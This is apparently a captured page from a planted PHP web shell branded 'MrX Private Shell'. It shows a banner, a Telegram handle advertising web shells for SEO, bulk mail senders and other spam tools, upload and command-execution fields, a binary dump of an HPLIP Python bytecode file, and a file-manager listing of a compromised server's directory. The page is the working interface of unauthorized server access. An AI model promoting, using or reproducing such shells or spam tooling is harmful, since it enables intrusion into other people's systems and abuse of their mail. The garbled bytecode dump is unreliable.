__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g����SSK7 SSKJrJr SSKJr SSK7 SSK7 SSK7 SSK	7 SSK
7 SSKJr SSK
JrJr SSKJr SSKrSSKrSrSrSr"S	S
\\5rg)�)�*)�device�utils)�cups�)�	Ui_Dialog)�	FileTable�FILETABLE_TYPE_PRINT)�%PRINTERNAMECOMBOBOX_TYPE_PRINTER_ONLYNc�|�\rSrSrSSjrSrSrSrSrSr	S	r
S
rSrSr
S
rSrSrSrSrSSjrSrg)�PrintDialog�2Nc���[RX5 URU5 X l[	5UlUR
R
5 UR
R5 UR5 /Ul	UbAUH;nURR[RRU55 M= 0Ul[ R#SUR$5 g)Nr)�QDialog�__init__�setupUi�printer_name�UserSettings�
user_settings�load�debug�initUi�	file_list�Files�
addFileFromUI�os�path�abspath�devices�QTimer�
singleShot�updateFilePage)�self�parentr�args�as     �#/usr/share/hplip/ui5/printdialog.pyr�PrintDialog.__init__4s�������&����T��(��*�^��������!���� � �"����
���������
�
�(�(�������);�<�����	���!�T�0�0�1�c���SURlURRR	UR
5 URRR	UR5 URRR	UR5 [R"[R[R5 UR5 UR5 UR[![#SS555 UR$(a%UR&R)UR$5 UR*R-S5 g)NT�hp_logo�128x128r)�OptionsToolBox�include_job_options�CancelButton�clicked�connect�CancelButton_clicked�
BackButton�BackButton_clicked�
NextButton�NextButton_clicked�signal�SIGINT�SIG_DFL�initFilePage�initOptionsPage�
setWindowIcon�QIcon�load_pixmapr�PrinterName�setInitialPrinter�
StackedWidget�setCurrentIndex�r#s r'r�PrintDialog.initUiLs���26����/�	
���!�!�)�)�$�*C�*C�D������'�'��(?�(?�@������'�'��(?�(?�@��
�
�f�m�m�V�^�^�4���������	
���5��Y�	�!B�C�D�������.�.�t�/@�/@�A����*�*�1�-r)c�\�URR[5 URRURR
5 URRRUR5 URRRUR5 g�N)r�setTyper
�
setWorkingDirr�working_dir�isEmptyr1�
Files_isEmpty�	isNotEmpt�Files_isNotEmptyrCs r'r:�PrintDialog.initFilePageeso���
�
���/�0��
�
� � ��!3�!3�!?�!?�@��
�
���"�"�4�#5�#5�6��
�
���$�$�T�%:�%:�;r)c�R�URRURS55 URRURR55 URRS5 UR[5 URR5 g)NzNext >F)
r5�setText�_PrintDialog__tr�
setEnabledr�
isNotEmptyr3�updateStepText�	PAGE_FILE�updateUirCs r'r"�PrintDialog.updateFilePagemsl��������	�	�(� 3�4����"�"�4�:�:�#8�#8�#:�;����"�"�5�)����I�&��
�
���r)c�:�URRS5 g)NF�r5rRrCs r'rK�PrintDialog.Files_isEmptyts�����"�"�5�)r)c�:�URRS5 g�NTrYrCs r'rM�PrintDialog.Files_isNotEmptyxs�����"�"�4�(r)c�4�URRS5 URR[5 URR
R
UR
5 URRR
UR5 gr\)r3rRr?rGr�"PrinterNameComboBox_currentChangedr1�PrinterNameComboBox_noPrintersrCs r'r;�PrintDialog.initOptionsPage�si�����"�"�4�(���� � �!F�G����;�;�C�C�D�Dk�Dk�l����7�7�?�?��@c�@c�dr)c�F�[R[[R55 UR
R
5 URRS5 [URR5nUS:�a.URRURSU-55 O*URRURS55 UR[ 5 [R#5 g![R#5 f=f)NTrzPrint %s Filesz
Print File)�QApplication�setOverrideCursor�QCursor�Qt�
WaitCursorr?rVr3rR�lenrrr5rPrQrT�PAGE_OPTIONS�restoreOverrideCursor)r#�	num_filess  r'�updateOptionsPage�PrintDialog.updateOptionsPage�s����&�&�w�r�}�}�'=�>�
	1����%�%�'��O�O�&�&�t�,��D�J�J�0�0�1�I��A�
����'�'��	�	�2B�9�2L�(M�N����'�'��	�	�,�(?�@�����-�
�.�.�0��L�.�.�0�s�CD
�
D c���URU URRURUU5 g![a& [R"U5URU'NYf=frF)r�KeyErrorr�Devicer-rV)r#�
device_urirs   r'r_�.PrintDialog.PrinterNameComboBox_currentChanged�s_��	A��L�L��$�	
���$�$�T�\�\�*�%=�|�L���	A�'-�}�}�Z�'@�D�L�L��$�	A�s�;�-A+�*A+c�X�[XRS55 UR5 g)NzA<b>No printers found.</b><p>Please setup a printer and try again.)�	FailureUIrQ�closerCs r'r`�*PrintDialog.PrinterNameComboBox_noPrinters�s���$�	�	�"e�f�g��
�
�r)c�:�URRURR5HXn[RU5 [R"USS9nUS:wdM5[XRSU<SU<S355 MZ UR5 g)NT)�shellrz)<b>Print command failed with status code z.</b><p>z</p>)r-�getPrintCommandsrr�logr�
subprocess�callrtrQru)r#�cmd�statuss   r'�executePrint�PrintDialog.executePrint�sm���&�&�7�7��
�
�8L�8L�M�C��I�I�c�N��_�_�S��5�F���{��$�	�	�gm�nq�*r� s�t�N�	
�
�
�r)c�$�UR5 grF)rurCs r'r2� PrintDialog.CancelButton_clicked�s���
�
�r)c���URR5nU[:Xa0URR[5 UR5 g[RS5 g)Nz
Invalid page!)rA�currentIndexrirBrUr"rz�error�r#�ps  r'r4�PrintDialog.BackButton_clicked�sL�����+�+�-��������.�.�y�9����!�
�I�I�o�&r)c���URR5nU[:Xa0URR[5 UR5 gU[:XaUR
5 ggrF)rAr�rUrBrirlrr�s  r'r6�PrintDialog.NextButton_clicked�sV�����+�+�-���	�>����.�.�|�<��"�"�$�
�,�
�����r)c�v�URRURSUS-[S-4-55 g)Nz
Step %d of %dr)�StepTextrPrQ�PAGE_MAXr�s  r'rT�PrintDialog.updateStepText�s/���
�
���d�i�i��!�A�#�x��z�9J�(J�K�Lr)c�.�[RSX5$)Nr
)�qApp�	translate)r#�s�cs   r'�__tr�PrintDialog.__tr�s���~�~�m�A�0�0r))rrrrrF)�__name__�
__module__�__qualname__�__firstlineno__rrr:r"rKrMr;rlr_r`rr2r4r6rTrQ�__static_attributes__�r)r'r
r
2sU��2�0.�2<��*�)�e�1�$M����'� �M�1r)r
)�base.g�baserr�prntr�
base.codes�ui_utils�PyQt5.QtCore�PyQt5.QtGui�PyQt5.QtWidgets�printdialog_baser�	filetabler	r
�printernamecomboboxrr7r{rUrir�rr
r�r)r'�<module>r�sS��0��������(�6�F���
�	�����g1�'�9�g1r)

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 129 B 0644
aboutdialog.cpython-313.pyc File 1.67 KB 0644
aboutdialog_base.cpython-313.pyc File 12.62 KB 0644
aligndialog.cpython-313.pyc File 41.93 KB 0644
aligndialog_base.cpython-313.pyc File 40.41 KB 0644
cleandialog.cpython-313.pyc File 15.76 KB 0644
cleandialog_base.cpython-313.pyc File 17.91 KB 0644
colorcaldialog.cpython-313.pyc File 21.01 KB 0644
colorcaldialog_base.cpython-313.pyc File 36.36 KB 0644
devicesetupdialog.cpython-313.pyc File 12.45 KB 0644
devicesetupdialog_base.cpython-313.pyc File 8.12 KB 0644
deviceuricombobox.cpython-313.pyc File 6.62 KB 0644
devmgr5.cpython-313.pyc File 113.65 KB 0644
devmgr5_base.cpython-313.pyc File 39.38 KB 0644
devmgr_ext.cpython-313.pyc File 3.74 KB 0644
fabgrouptable.cpython-313.pyc File 2.54 KB 0644
fabnametable.cpython-313.pyc File 1.14 KB 0644
fabwindow.cpython-313.pyc File 38.92 KB 0644
fabwindow_base.cpython-313.pyc File 14.44 KB 0644
faxsetupdialog.cpython-313.pyc File 21.82 KB 0644
faxsetupdialog_base.cpython-313.pyc File 10.13 KB 0644
filetable.cpython-313.pyc File 22.07 KB 0644
firmwaredialog.cpython-313.pyc File 4.36 KB 0644
firmwaredialog_base.cpython-313.pyc File 6.12 KB 0644
infodialog.cpython-313.pyc File 14.75 KB 0644
infodialog_base.cpython-313.pyc File 10.15 KB 0644
linefeedcaldialog.cpython-313.pyc File 5.25 KB 0644
linefeedcaldialog_base.cpython-313.pyc File 4.81 KB 0644
loadpapergroupbox.cpython-313.pyc File 4.68 KB 0644
makecopiesdialog.cpython-313.pyc File 3.59 KB 0644
makecopiesdialog_base.cpython-313.pyc File 4.37 KB 0644
mimetypesdialog.cpython-313.pyc File 1.94 KB 0644
mimetypesdialog_base.cpython-313.pyc File 6.68 KB 0644
nodevicesdialog.cpython-313.pyc File 3.09 KB 0644
nodevicesdialog_base.cpython-313.pyc File 8.34 KB 0644
plugindiagnose.cpython-313.pyc File 4.33 KB 0644
plugindiagnose_base.cpython-313.pyc File 5.51 KB 0644
plugindialog.cpython-313.pyc File 17.44 KB 0644
plugindialog_base.cpython-313.pyc File 11.7 KB 0644
pluginlicensedialog.cpython-313.pyc File 1.28 KB 0644
pluginlicensedialog_base.cpython-313.pyc File 8.41 KB 0644
pqdiagdialog.cpython-313.pyc File 5.04 KB 0644
pqdiagdialog_base.cpython-313.pyc File 4.79 KB 0644
printdialog.cpython-313.pyc File 9.78 KB 0644
printdialog_base.cpython-313.pyc File 9.83 KB 0644
printernamecombobox.cpython-313.pyc File 6.69 KB 0644
printsettings_base.cpython-313.pyc File 139 B 0644
printsettingsdialog.cpython-313.pyc File 4.78 KB 0644
printsettingsdialog_base.cpython-313.pyc File 4.88 KB 0644
printsettingstoolbox.cpython-313.pyc File 88.52 KB 0644
printtestpagedialog.cpython-313.pyc File 7.25 KB 0644
printtestpagedialog_base.cpython-313.pyc File 7.18 KB 0644
queuesconf.cpython-313.pyc File 15.2 KB 0644
readonlyradiobutton.cpython-313.pyc File 2.24 KB 0644
scandialog.cpython-313.pyc File 123.01 KB 0644
sendfaxdialog.cpython-313.pyc File 57.92 KB 0644
sendfaxdialog_base.cpython-313.pyc File 39.46 KB 0644
settingsdialog.cpython-313.pyc File 5.55 KB 0644
settingsdialog_base.cpython-313.pyc File 25.92 KB 0644
setupdialog.cpython-313.pyc File 79.67 KB 0644
setupdialog_base.cpython-313.pyc File 38.46 KB 0644
setupdialog_base5.cpython-313.pyc File 38.43 KB 0644
systemtray.cpython-313.pyc File 41.3 KB 0644
systrayframe.cpython-313.pyc File 12.48 KB 0644
systrayframe_base.cpython-313.pyc File 10.84 KB 0644
ui_utils.cpython-313.pyc File 28.62 KB 0644
upgradedialog.cpython-313.pyc File 6.38 KB 0644
upgradedialog_base.cpython-313.pyc File 5.98 KB 0644
wifisetupdialog.cpython-313.pyc File 54.96 KB 0644
wifisetupdialog_base.cpython-313.pyc File 62.3 KB 0644
Filemanager